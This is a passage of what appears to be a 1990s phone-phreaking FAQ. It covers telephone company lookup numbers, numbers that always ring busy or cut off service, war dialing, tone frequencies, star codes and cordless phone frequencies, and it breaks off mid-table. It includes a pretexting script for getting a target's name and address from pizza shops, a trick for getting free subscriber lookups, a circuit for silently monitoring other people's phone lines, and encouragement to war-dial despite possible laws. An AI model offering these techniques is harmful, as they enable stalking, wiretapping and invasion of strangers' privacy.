313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 315 673-9995 673-9996 315 695-9995 695-9996 406 225-9902 225-9903 408 238-0044 238-0045 408 773-0044 773-0045 N 501 753-4291 753-4297 517 422-9996 422-9997 517 423-9996 423-9997 517 563-9996 563-9997 517 663-9996 663-???? 517 851-9996 851-9997 613 966-1111 N 703 591-9994 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 489-1499 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 719 598-0009 598-0010 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 808 235-9907 235-9908 808 239-9907 239-9908 808 245-9907 245-9908 808 247-9907 247-9908 808 261-9907 261-9908 808 322-9907 322-9908 808 328-9907 328-9908 808 329-9907 329-9908 808 332-9907 332-9908 808 335-9907 335-9908 808 572-9907 572-9908 808 623-9907 623-9908 808 624-9907 624-9908 808 668-9907 668-9908 808 742-9907 742-9908 808 879-9907 879-9908 808 882-9907 882-9908 808 885-9907 885-9908 808 959-9907 959-9908 808 961-9907 961-9908 810 362-9996 362-9997 813 385-9971 385-xxxx 847 724-9951 724-???? 908 254-9929 254-9930 908 558-9929 558-9930 908 560-9929 560-9930 908 776-9930 776-9930 N 916 221-0044 221-0045 // Voice filtered N 916 222-0044 222-0045 // Voice filtered --------------------------------------------------------------------------- C-16. What is a CNA number? CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find its phone number and then call the CNA operator to see who owns it and where they live. Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Two such companies are: Cross-Reference Directories (900)288-3020 AT&T National Directory Assistance (900)555-1212 Telename (900)884-1212 Unidirectory (900)933-3330 Note that these are 900 numbers, and will cost you approximately one dollar per minute. If you are in 312, 708, or parts of 815, AmeriTech has a pay-for-play CNA service available to the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers per call. If you are in 415, Pacific Bell offers a public access CNL service at (415)705-9299. If you are in Bell Atlantic territory you can call (201)555-5454 or (908)555-5454 for automated CNA information. The cost is $.50/call. The legal telephone company CNA for Ontario is 555-1313. You can fool (800)967-5356 into giving you a free CNA by requesting a free disk and then entering the number you want the adress for at the prompt. You can often social engineer CNA information out of telephone company employees or out of employees of other companies with CNA access. Here is a sample script that works if your target has ever ordered pizza from Domino's or Pizza Hut: Them: Hi, thanks for call, may I take your order please? You: Yes, I'd like 4 large pepperoni pizzas. Them: May I have your phone number please? You: Them: Is this 238 Ward Road? You: Yes ma'am. --------------------------------------------------------------------------- C-17. What is the telephone company CNA number for my area? 203 (203)771-8080 CT N 214 (214)744-9500 Southwestern Bell N 214 (214)745-7505 Southwestern Bell N 217 (217)789-8290 Ameritech (Illinois) 312 (312)796-9600 Chicago, IL 506 (506)555-1313 New Brunswick 513 (513)397-9110 Cincinnati/Dayton, OH 516 (516)321-5700 Hempstead/Long Island, NY 614 (614)464-0123 Columbus/Steubenville, OH 813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL N 912 (912)752-2000 #1367 Albany/Savannah, GA NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode Island, New Hampshire, and Massachusetts --------------------------------------------------------------------------- C-18. What are some numbers that always ring busy? In the following listings, "xxx" means that the same number is used as a constantly busy number in many different prefixes. In most of these, there are some exchanges that ring busy and some exchanges that are in normal use. *ALWAYS* test these numbers at least three times during normal business hours before using as a constantly busy number. 800 999-1803 WATS 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ 212 724-9970 Manhattan, NY 213 xxx-1117 Los Angeles, CA 213 xxx-1118 Los Angeles, CA 213 xxx-1119 Los Angeles, CA 213 xxx-9198 Los Angeles, CA 216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH 303 431-0000 Denver, CO 303 866-8660 Denver, CO 310 xxx-1117 Long Beach, CA 310 xxx-1118 Long Beach, CA 310 xxx-1119 Long Beach, CA 310 xxx-9198 Long Beach, CA 316 952-7265 Dodge City/Wichita, KS 501 377-99xx AR N 518 571-xxxx Albany, NY 719 472-3772 Colorado Springs/Leadville/Pueblo, CO 805 255-0699 Bakersfield/Santa Barbara, CA 714 xxx-1117 Anaheim, CA 714 xxx-1118 Anaheim, CA 714 xxx-1119 Anaheim, CA 714 xxx-9198 Anaheim, CA 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA N 717 980-xxxx Harrisburg/Scranton/Wilkes Barre, PA 818 xxx-1117 Pasadena, CA 818 xxx-1118 Pasadena, CA 818 xxx-1119 Pasadena, CA 818 xxx-9198 Pasadena, CA 818 885-0699 Pasadena, CA (???-0699 is a pattern) 860 525-7078 Hartford, CT 906 632-9999 Marquette/Sault Ste. Marie, MI 906 635-9999 Marquette/Sault Ste. Marie, MI --------------------------------------------------------------------------- C-19. What are some numbers that temporarily disconnect phone service? If your NPA is not listed, or the listing does not cover your LATA, try common numbers such as 119 (GTD5 switches) or 511. N 209 999 Stockton/Fresno/Lodi, CA (100 seconds) N 313 xxx-9994 Ann Arbor/Dearborn/Detroit, MI (Ameritech) (1 minute) 314 511 Columbia/Jefferson City/St.Louis, MO (1 minute) 404 420 Atlanta, GA (5 minutes) 405 953 Enid/Oklahoma City, OK (1 minute) 407 511 Orlando, FL (United Telephone) (1 minute) 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute) 512 200 Austin/Corpus Christi, TX (1 minute) 516 480 Hempstead/Long Island, NY (1 minute) N 517 xxx-9994 Bay City/Jackson/Lansing, MI (Ameritech) (1 minute) N 518 958 Albany, NY (1 minute) 603 980 NH 614 xxx-9894 Columbus/Steubenville, OH N 616 xxx-9994 Battle Creek/Grand Rapids/Kalamazoo, MI (Ameritech) (1 minute) 805 119 Bakersfield/Santa Barbara, CA (3 minutes) 807 211 Thunder Bay, Ontario (3 minutes) N 810 xxx-9994 Pontiac/Southfield/Troy, MI (Ameritech) (1 minute) N 906 xxx-9994 Marquette/Sault Ste. Marie, MI (Ameritech) (1 minute) 919 211 or 511 Durham, NC (10 min - 1 hour) --------------------------------------------------------------------------- C-20. What is a Proctor Test Set? A Proctor Test Set is a tool used by telco personnel to diagnose problems with phone lines. You call the Proctor Test Set number and press buttons on a touch tone phone to active the tests you select. --------------------------------------------------------------------------- C-21. What is a Proctor Test Set in my area? If your NPA is not listed try common numbers such as 111 or 117. 805 111 Bakersfield/Santa Barbara, CA 909 117 Tyler, TX 913 611-1111 Lawrence/Salina/Topeka, KS --------------------------------------------------------------------------- C-22. What is scanning? Scanning is dialing a large number of telephone numbers in the hope of finding anything interesting. Interesting items often include test tones, computers, Voice Message Boxes (VMB's), Private Branch Exchanges (PBX's), and government offices. Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time. Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/. For the Macintosh, try Assault Dialer. A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones. --------------------------------------------------------------------------- C-23. Is scanning illegal? Excerpt from: 2600, Spring 1990, Page 27: -BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ- It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate. --------------------------------------------------------------------------- C-24. How can I make a lineman's handset? This FAQ answer was written by Phucked Agent 04: This is the "right hand" of both the professional and the amatuer lineman. Basically, it is a customized portable telephone which is designed to be hooked onto raw cable terminals in the field and used to monitor the line, talk, or dial out. The monitor function is usually the main difference between the "butt-in" test set and the normal phone. If you don't have a real test set already, the following circuit can convert a normal $4 made-in-taiwan phone into a working test set. The "all-in-one" handset units without bases are the best (I tend to like QUIK's and GTE Flip Phone II's). Anyway- OFFICIAL Agent 04 Generic Test Set Modification (tm) Ring >---------------------------------> to "test set" phone Tip >------! SPST Switch !--------> !-----/ ----------! >from !-------/!/!/!/!--! C = 0.22 uF 200 WVDC Mylar cable pair ! C R ! R = 10 kOhm 1/2 W (alligators) !--! (------------! SPST = Talk / Monitor When SPST is closed, you are in talk mode; when you lift the switch- hook on the "test set" phone, you will get a dial tone as if you were a standard extension of the line you are on. You will be able to dial out and receive calls. When the SPST is opened, the resistor and capacitor are no longer shunted, and they become part of the telephone circuit. When you lift the switchhook on the test set, you will not receive dial tone, due to the fact that the cap blocks DC, and the resistor passes less than 4 mA nominally (far below the amount necessary to saturate the supervisory ferrod on ESS or close the line relay on any other switch). However, you will be able to silently monitor all audio on the line. The cap reactance + the phone's impedance insure that you won't cut the signal too much on the phone line, which might cause a noticeable change (..expedite the shock force, SOMEONE'S ON MY LINE!!). It's also good to have a VOM handy when working outside to rapidly check for active lines or supervision states. --------------------------------------------------------------------------- C-25. Where can I purchase a lineman's handset? Contact East 335 Willow Street North Andover, MA 01845-5995 (508)682-2000 Jensen Tools 7815 S. 46th Street Phoenix, AZ 85044-5399 (800)426-1194 Specialized Products 3131 Premier Drive Irving, TX 75063 (800)866-5353 Time Motion Tools 12778 Brookprinter Place Poway, CA 92064 (619)679-0303 --------------------------------------------------------------------------- C-26. What are the DTMF frequencies? DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touch pad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones. 1209hz 1336hz 1477hz 1633hz 697hz 1 2 3 A 770hz 4 5 6 B 852hz 7 8 9 C 941hz * 0 # D --------------------------------------------------------------------------- C-27. What are the frequencies of the telephone tones? Many of these tones are no longer used and are mentioned here only for historical accuracy. Low Tone ~~~~~~~~ This is a generic tone used with various interruption patterns for specific tones listed below and described under their own titles: Line Busy Tone Reorder RevertingTone No Circuit Tone No Such Number Vacant Code Group Busy Tone Deposit Coin Tone Vacant Position Tone Dial Off-Normal Tone Trouble Tone Dial Jack Tone Dial Test Signal Class of Service Low Tone 480 Hz and 620 Hz at -24 dBm0/frequency. On some systems manufactured before 1974, Low Tone was 600 Hz modulated at 120, 133, 140 or 160 Hz at 61 - 71 dBrnC. High Tone ~~~~~~~~~ This is a generic tone used with various interruption patterns for the specific tones listed below and described under their own titles: Partial Dial Tone Permanent Signal Coin Return (Test) Tone Coin Return Tone Number Checking Tone Intercepting Loopback Tone Warning Tone Order Tone Station Ringer Test Class of Service High Tone 480 Hz at -17 dBm0. On some systems manufactured before 1974, High Tone was 400 Hz or 500 Hz at 61 - 71 dBrnC. Dial Tone ~~~~~~~~~ This tone is sent to a customer or operator to indicate that the receiving end is ready to receive dial pulses or DTMF signals. It is used in all types of dial offices when dial pulses are produced by the customer's or operator's dials. Normally dial tone means that the entire wanted number may be dialed; however, there are some cases where the calling party must await a second dial tone or where an operator, after dialing an initial group of digits, must wait for a second dial tone before the rest of the number can be dialed. Some dialing switchboards are arranged to permit listening for dial tone between certain digits. Dial Tone is 350 Hz and 440 Hz held steady at -13 dBm0/frequency. Audible Ring Tone ~~~~~~~~~~~~~~~~~ This is a ringing indication which is intercepted by the calling party to mean that the called line has been reached and that the ringing has started. It is also used on calls to operators (special service, long distance, intercepting, etc) during the "awaiting-operator-answer" interval. Audible Ring Tone is 440 Hz and 480 Hz for 2 seconds on and 4 seconds off at -13 dBm0/frequency. Line Busy Tone ~~~~~~~~~~~~~~ The Line Busy Tine indicates that the called customer's line has been reached but that it is busy or being rung or on permanent signal. When a line busy signal is applied by an operator, it is sometimes calls a busy-back tone. Line Busy Tone is Low Tone on and off every .5 seconds. Reorder ~~~~~~~ Reorder indicates that the local or toll switching or transmission paths to the office or equipment serving the called customer is busy. This signal may indicate a condition such as a timed-out sender or unassigned code dialed. It is interpreted by either a customer or an operator as a reorder signal. Reorder on a local call is Low Tone for .3 seconds on and .2 seconds off. Reorder on a toll call is Low Tone for .2 seconds on and .3 seconds off. In No. 5 crossbar, No. 1/1A ESS, No. 2/2B ESS switching equipment and No. 1 step-by-step offices using the Precise Tone Plan, the temporal pattern is 0.25 second of low tone and 0.25 second off. Alerting Tone ~~~~~~~~~~~~~ Indicates that an operator has connected to the line (emergency interrupt on a busy line during a verification call). Alerting Tone is 440 Hz on for 2 seconds and then on again for .5 seconds every ten seconds. Recorder Warning Tone ~~~~~~~~~~~~~~~~~~~~~ When recording equipment is used, this tone is connected to the line to inform the distant party that the conversation is bveing recorded. The tone source is located within the recording equipment and cannot be controlled by the party applying the recording equipment to the line. This tone is required by law and is recorded along with the speech. Recorder Warning Tone is a .5 second burst at 1400 Hz every 15 seconds. Recorder Connected Tone ~~~~~~~~~~~~~~~~~~~~~~~ This tone is used to inform the customer that his/her call is connected to a recording machine and that he/she should proceed to leave a message, dictate, etc. It is to be distinguished from the recorder warning tone, which warns the customer that his/her 2-way conversation is being recorded. Recorder Warning Tone is a .5 second burst at 440 Hz every 5 seconds. Reverting Tone ~~~~~~~~~~~~~~ The same type of signal as line busy tone is used for reverting tone in all systems. In No. 5 crossbar systems, a second dial tone is sometimes also used when a calling party identification digit is required. The reverting signal informs the calling subscriber that the called party is on the same line and that he/she should hang up while the line is being rung. Reverting Tone is is Low Tone on and off every .5 seconds at -24 dBm0/frequency. Deposit Coin Tone ~~~~~~~~~~~~~~~~~ This tone, sent from a Community Dial Office to a post-pay coin telephone, informs the calling party that the called party has answered and that the coin should be deposited. Deposit Coin Tone is a steady Low Tone. Receiver Off-Hook Tone ~~~~~~~~~~~~~~~~~~~~~~ This tone is used to cause off-hook customers to replace the receiver on-hook on a permanent signal call and to signal a non-PBX off-hook line when ringing key is operated by a switchboard operator. Receiver Off-Hook Tone is 1400 Hz, 2060 Hz, 2450 Hz and 2600 Hz at 0 dBm0/frequency on and off every .1 second. On some older space division switching systems Receiver Off-Hook was 1400 Hz, 2060 Hz, 2450 Hz and 2600 Hz at +5 VU on and off every .1 second. On a No. 5 ESS this continues for 30 seconds. On a No. 2/2B ESS this continues for 40 seconds. On some other AT&T switches there are two iterations of 50 seconds each. Howler ~~~~~~ This tone is used in older offices to inform a customer that their receiver is off-hook. It has been superseded by the receiver off-hook tone. Howler was a 480 Hz tone incremented in volume every second for ten seconds until it reaches +40 VU. Partial Dial Tone ~~~~~~~~~~~~~~~~~ High-tone is used to notify the calling party that he/she has not commenced dialing within a preallotted time, measured after receipt of dial tone (permanent signal condition), or that he/she has not dialed enough digits (partial dial condition). This is a signal to hang up and dial again. Partial Dial Tone is a steady High Tone. No Such Number a.k.a. "Cry Baby" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This signal tells the calling party to hang up, check the called number, and dial again. In modern systems, calls to unassigned or discontinued numbers will also be routed to a machine announcement system, such as 6A or 7A, which verbally supplies the require message. In some older offices, you could be routed to an intercepting operator. In some offices, reorder tone is returned in this condition. No Such Number is 200 to 400 Hz modulated at 1 Hz, interrupted every 6 seconds for .5 seconds. Vacant Code ~~~~~~~~~~~ This tone is used in crossbar systems to indicate that the dialed office code is unassigned. In step-by-step areas, this signal is called vacant level tone. For operator-originated calls, the verbal announcement is preceeded by two flashes. In modern systems, recorded verbal announcements are used for this service. Vacant Code is Low Tone for .5 seconds on, .5 seconds off, .5 seconds of and 1.5 seconds off. Busy Verification Tone (Centrex) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Busy verification is a Centrex feature that allows the attendant to call and be connected to a busy Centrex station within the attendant's customer group. The busy verification tone is applied to both parties of the connection to inform them of the intrusion by the attendant. No tone is applied if the station called for busy verification is idle. Busy Verification Tone (Centrex) is 440 Hz at -13 dBm0 for 1.5 seconds and then again for .3 seconds every 7.5 to 10 seconds. On a No. 1/1A ESS, Busy Verification Tone (Centrex) is 440 Hz at -13 dBm0 for 1.5 seconds and then again for .3 seconds every 6 seconds. There is also a TSPS Busy Verification tone, which is 440 Hz at -13 dBm0 for 2 seconds and then on again for .5 seconds every 10 seconds. Call Waiting Tone ~~~~~~~~~~~~~~~~~ Call Waiting is a special service that allows a busy line to answer an incoming call by flashing the switchhook. Audible ring (instead of line busy) is applied to the calling line, and the Call Waiting tone is applied to the called line. (So that only the called party hears the tone, the connection is momentarily broken, and the other party to that connection experiences a moment of silence.) Flashing the switchhook places the existing connection on hold and connects the customer to the waiting call. Call Waiting Tone is two bursts of 440 Hz at -13 dBm0/frequency for .3 seconds plus or minus ten percent every ten seconds. Confirmation Tone ~~~~~~~~~~~~~~~~~ This tone is used to acknowledge receipt by automatic equipment of information necessary for special services. It is currently used for: (1) Speed Calling - dialed number has been recorded (2) Call Forwarding - dialed number has been recorded and service is activated (3) Call Forwarding - service is deactivated Confirmation Tone is 350 Hz and 440 Hz at -13 dBm0/frequency on for .1 second, off for .1 second and then on for .3 seconds. Indication of Camp-On ~~~~~~~~~~~~~~~~~~~~~ Attendant camp-on service allows an electronic switching system Centrex attendant to hold incoming calls to busy lines. Each time the attendant releases his/her talking connection from the loop involved in the camped-on call, the indication of camp-on tone is heard by the called customer if the customer has subscribed to the indication of camp-on option. The customer may get this tone several times as the attendant reconnects and releases from the loop in response to timed reminders from the console. Indication of Camp On is 440 Hz at -13 dBm0 for one second every time the attendant releases from the loop. Special Dial Tone ~~~~~~~~~~~~~~~~~ This tone is used with Three-Way Calling, Centrex station dial transfer, and Centrex conference (station or attendant) services. The user on an existing connection flashes the switchhook, receives special dial tone, and dials number of the third party to be added to the connection. Special Dial Tone is 350 Hz and 440 Hz at -13 dBm0/frequency for .1 second on, .1 second off, .1 second on, .1 second off, .1 second on, .1 second off, and then on steady. Priority Audible Ring (AUTOVON) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This tone replaces normal audible ring for priority calls within the AUTOVON network. Priority Audible Ring is 440 Hz and 480 Hz at -16 dBm0/frequency on for 1.65 seconds and off for .35 seconds. Preemption Tone (AUTOVON) ~~~~~~~~~~~~~~~~~~~~~~~~~ This tone is provided to both parties of a connection that is preempted by a priority call from the AUTOVON network. Preemption Tone is 440 Hz and 620 Hz at -18 dBm0/frequency steady for anywhere from three to fifteen seconds. Data Set Answer Back Tone ~~~~~~~~~~~~~~~~~~~~~~~~~ This set is heard when manually initiating a data call. It normally occurs shortly after the start of audible ringing and means that the remote data set has answered. The data set at the calling end should then be put into the data mode. Data Set Answer Back Tone is 2025 Hz steady at -13 dBm. Calling Card Service Prompt Tone ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This tone is used to inform the customer that his/her credit card information must be keyed in. The first 60 milliseconds of this composite tone is 941 Hz abd 1477 Hz which is the DTMF '#'. This tone will release and DTMF to dial pulse converter in the conneciton. Calling Card Service Prompt Tone is 941 Hz and 1477 Hz at -10 dBm0/frequency at -3 Transmission Level Point for 60 milliseconds and then 440 Hz and 350 Hz at -7 dBm0 for .940 seconds exponentially decayed from -10 dBm per frequency at -3 Transmission Level Point at time constant of .2 seconds. Class of Service ~~~~~~~~~~~~~~~~ These signals are used at a toll board operating as an 'A" board to identify the class or service of the calling customer. The indication may be high, low, or no tone. Class of Service is a single burst of either High Tone or Low Tone for .05 to 1 seconds. Dial-Normal Transmission Signal ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This is a second dial tone returned to an operator between digits indicating that he/she may dial the remainder of the number. For example, when an operator reaches a link-type Community Dial Office via a step-by-step office after dialing a routing code, he/she must pause until an idle link at the Community Dial Office returns dial tone. This method of operation is not recommended or considered standard. Dial-Normal Transmission Signal is a steady Low Tone. Dial Jack Tone ~~~~~~~~~~~~~~ Low tone is used as a start-dial signal to tell a DSA operator that the connection reached through a dial jack is ready to receive dialing. Dial Jack Tone is a steady Low Tone. Order Tone ~~~~~~~~~~ High tones sent over interposition, local interoffice, or toll trunks indicate: (1) the the originating operator that the order should be passed (2) to the receiving operator that an order is about to be passed For Call Announcement and Autometic Display Call Indicator, the tone serves function two only. (a) Single-order tone - This is a relatively long (0.5 second) signal which means that the originating operator should pass the office name and number. (b) Double-order tone - This signal is two short spurts in quick succession and means that the operator should pass only the desired number. (c) Triple-order tone - This signal is three short spurts in quick succession and means that the operator should pass the office name only and wait for another order tone. (d) Quadruple-order tone - This signal is four short spurts in quick succession and means that the operator should pass the city name only and wait for another challenge. It is used in manual toll tandem (also called zip tones or trunk assignment tones). Single-order tone is one .5 spurt of High Tone. Double-order tone is two short spurts of High Tone. Triple-order tone is three short spurts of High Tone. Quadruple-order tone is four short spurts of High Tone. Intercepting Loopback Tone ~~~~~~~~~~~~~~~~~~~~~~~~~~ High tone sent from an intercept operator to the 'A' board operator in manual offices indicates that an intercept operator has completed the call and that the 'A' should disconnect from the circuit. The completion of intercepted calls in this manner is no longer recommended. Intercepting Loopback Tone is a steady High Tone. Number Checking Tone ~~~~~~~~~~~~~~~~~~~~ High tone is sometimes used at DSA switchboards in No. 1 crossbar and some step-by-step areas to verify the verbal identification of the calling line. Number Checking Tone is a steady High Tone. On some older systems, Number Checking Tone was a steady 135 Hz tone. Coin Denomination Tones ~~~~~~~~~~~~~~~~~~~~~~~ These tones enable the operator to determine the amount deposited in coin telephones. Coin Denomination Tones for the old 3 slot payphones were: Nickel - One tap of 1050 Hz and 1100 Hz (bell) Dime - Two taps of 1050 Hz and 1100 Hz (bell) Quarter - One tap at 800 Hz (gong) Coin Collect Tone ~~~~~~~~~~~~~~~~~ Low tone over a coin recording-completing trunk informs the originating toll operator that the local operator or coin control circuit has collected the charge. Coin Collect Tone is a steady Low Tone. Coin Return Tone ~~~~~~~~~~~~~~~~ High tone over a coin recording-completing trunk informs the originating toll operator that the local operator or coin control circuit has returned the change when the connection is not completed (also called coin refund tone). Coin Return Tone is a single .5 to 1 second burst of High Tone. Coin Return (Test) Tone ~~~~~~~~~~~~~~~~~~~~~~~ High tone is used to tell an operator in a dial central office that a tester has completed a call to his/her position over a coin trunk. Coin Return (Test) Tone is a single .5 to 1 second burst of High Tone. Group Busy Tone ~~~~~~~~~~~~~~~ This audible signal is indicated by low tone on the sleeve of trunk jacks at cord switchboards. Absense of the tone tells the operator that there is at least one idle trunk in a group. Group Busy Tone is a steady Low Tone. Vacant Position Tone ~~~~~~~~~~~~~~~~~~~~ Low tone is applied to all straightforward trunks terminating in a vacated position in manual offices. Vacant Position Tone is a steady Low Tone. Dial Off-Normal Tone ~~~~~~~~~~~~~~~~~~~~ Low tone is returned to an operator after he/she has completed a call into a step-by-step office and after the calling party has answered to remind him/her to restore the dial key. Dial Off-Normal Tone is a steady Low Tone. Permanent Signal ~~~~~~~~~~~~~~~~ A customer line, not in use, which exhibits a steady off-hook condition is routed to a permanent signal trunk. High tone, superimposed on battery, is supplied through a resistance lamp to the ring of the trunk. The tone is used to inform an operator or other employee making a verification test that the line is temporarily out of service. An intermittent ground may also be applied to the ring of the telephone systems left in the hold condition. Typical reasons for the line condition are: (a) No dialing within the allowed waiting interval. (b) A handset is off-hook. (c) Low insulation resistance or other line trouble. In some offices, if three or more digits are dialed but not a complete telephone number or code, the call is released and dial tone is returned. Permanent Signal is a steady High Tone. Warning Tone ~~~~~~~~~~~~ High tone warns an operator that the circuit he/she is connected to is not in condition for normal operation. Examples: (1) An operator at an Automatic Display Call Indicator position plugs in the wrong jack. (2) An operator at a sender monitor position plugs into a sender supervisory jack while the sender is under test. Warning Tone is a steady High Tone. Trouble Tone ~~~~~~~~~~~~ Low tone applied by an operator or test person at a B position in a manual office to the jack sleeve of a line or trunk in a calling multiple tells other operators the line or trunk is in trouble (also called plugging up codr tone). Trouble Tone is a steady Low Tone. Service Observing Tone ~~~~~~~~~~~~~~~~~~~~~~ This tone indicated that the trunk to which it is applied is being service-observed. Service Observing Tone is a steady 135 Hz. Proceed to Send Tone (International Direct Distance Dialing) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This tone informs the operator that an overseas sender has been siezed and the address information (KP-CC-CC-ST) should be transmitted. Proceed to Send Tone is a steady 480 Hz at -22 dBm0. Centralized Intercept Bureau Order Tone ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This tone tells the centralized intercept bureau operator that a call has reached the position. Centralized Intercept Bureau Order Tone is a .5 second burst of 1850 Hz at -17 dBm0. ONI Order Tone ~~~~~~~~~~~~~~ This tone tells the ONI operator that a call has reached the position. ONI Order Tone is 700 Hz and 1100 Hz at -25 dBm for .095 to .25 seconds. --------------------------------------------------------------------------- C-28. What is the voltage used to ring a telephone? According to AT&T, the ringing signal is an 88v 20Hz A.C. signal superimposed on 48v nominal D.C. supervisory voltage. However, the actual rining signal used can and does vary greatly from one location to another. The frequency of the AC signal is normally between 15 and 70Hz. The interval between ringing signals is normally four seconds. --------------------------------------------------------------------------- C-29. What are all of the * (LASS) codes? Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes: Service Tone Pulse/rotary Notes -------------------------------------------------------------------------- Assistance/Police *12 n/a [1] Cancel forwarding *30 n/a [C1] Automatic Forwarding *31 n/a [C1] Notify *32 n/a [C1] [2] Intercom Ring 1 (..) *51 1151 [3] Intercom Ring 2 (.._) *52 1152 [3] Intercom Ring 3 (._.) *53 1153 [3] Extension Hold *54 1154 [3] Customer Originated Trace *57 1157 Selective Call Rejection *60 1160 (or Call Screen) Selective Distinct Alert *61 1161 Selective Call Acceptance *62 1162 Selective Call Forwarding *63 1163 ICLID Activation *65 1165 Call Return (outgoing) *66 1166 Number Display Blocking *67 1167 [4] Computer Access Restriction *68 1168 Call Return (incoming) *69 1169 Call Waiting disable *70 1170 [4] No Answer Call Transfer *71 1171 Usage Sensitive 3 way call *71 1171 Call Forwarding: start *72 or 72# 1172 Call Forwarding: cancel *73 or 73# 1173 Speed Calling (8 numbers) *74 or 74# 1174 Speed Calling (30 numbers) *75 or 75# 1175 Anonymous Call Rejection *77 1177 [5] [M: *58] Call Screen Disable *80 1180 (or Call Screen) [M:*50] Selective Distinct Disable *81 1181 [M: *51] Select. Acceptance Disable *82 1182 [4] [7] Select. Forwarding Disable *83 1183 [M: *53] ICLID Disable *85 1185 Call Return (cancel out) *86 1186 [6] [M: *56] Anon. Call Reject (cancel) *87 1187 [5] [M: *68] Call Return (cancel in) *89 1189 [6] [M: *59] Notes: [C1] - Means code used for Cellular One service [1] - for cellular in Pittsburgh, PA A/C 412 in some areas [2] - indicates that you are not local and maybe how to reach you [3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up [4] - applied once before each call [5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance) [6] - cancels further return attempts [7] - *82 (1182) has been mandated to be the nationwide code for "Send CLID info regardless of the default setting on this phone line." [M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups. The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reassigned *5x These appear to be standard, but may be changed locally Under GTE, some LASS/CLASS tones may be changed from *NN to NN#. Under pulse, GTD5 allows either NN or 11NN, but with 11NN it may conflict with a test number. At one time these were called CLASS Codes, for Custom Local Area Signalling Services. --------------------------------------------------------------------------- C-30. What frequencies do cordless phones operate on? Here are the frequencies for the first generation 46/49mhz phones. Channel Handset Transmit Base Transmit ------- ---------------- ------------- 1 49.670mhz 46.610mhz 2 49.845 46.630 3 49.860 46.670 4 49.770 46.710 5 49.875 46.730 6 49.830 46.770 7 49.890 46.830 8 49.930 46.870 9 49.990 46.930 10 49.970 46.970 The new "900mhz" cordless phones have been allocated the frequencies between 902-228MHz, with channel spacing between 30-100KHz. Following are some examples of the frequencies used by phones currently on the market. ---------------------------------------------------------------- Panasonic KX-T9000 (60 Channels) base 902.100 - 903.870 Base frequencies (30Khz spacing) handset 926.100 - 927.870 Handset frequencies CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 902.100 926.100 11 902.400 926.400 21 902.700 926.700 02 902.130 926.130 12 902.430 926.430 22 902.730 926.730 03 902.160 926.160 13 902.460 926.460 23 902.760 926.760 04 902.190 926.190 14 902.490 926.490 24 902.790 926.790 05 902.220 926.220 15 902.520 926.520 25 902.820 926.820 06 902.250 926.250 16 902.550 926.550 26 902.850 926.850 07 902.280 926.280 17 902.580 926.580 27 902.880 926.880 08 902.310 926.310 18 902.610 926.610 28 902.910 926.910 09 902.340 926.340 19 902.640 926.640 29 902.940 926.940 10 902.370 926.370 20 902.670 926.670 30 902.970 926.970 31 903.000 927.000 41 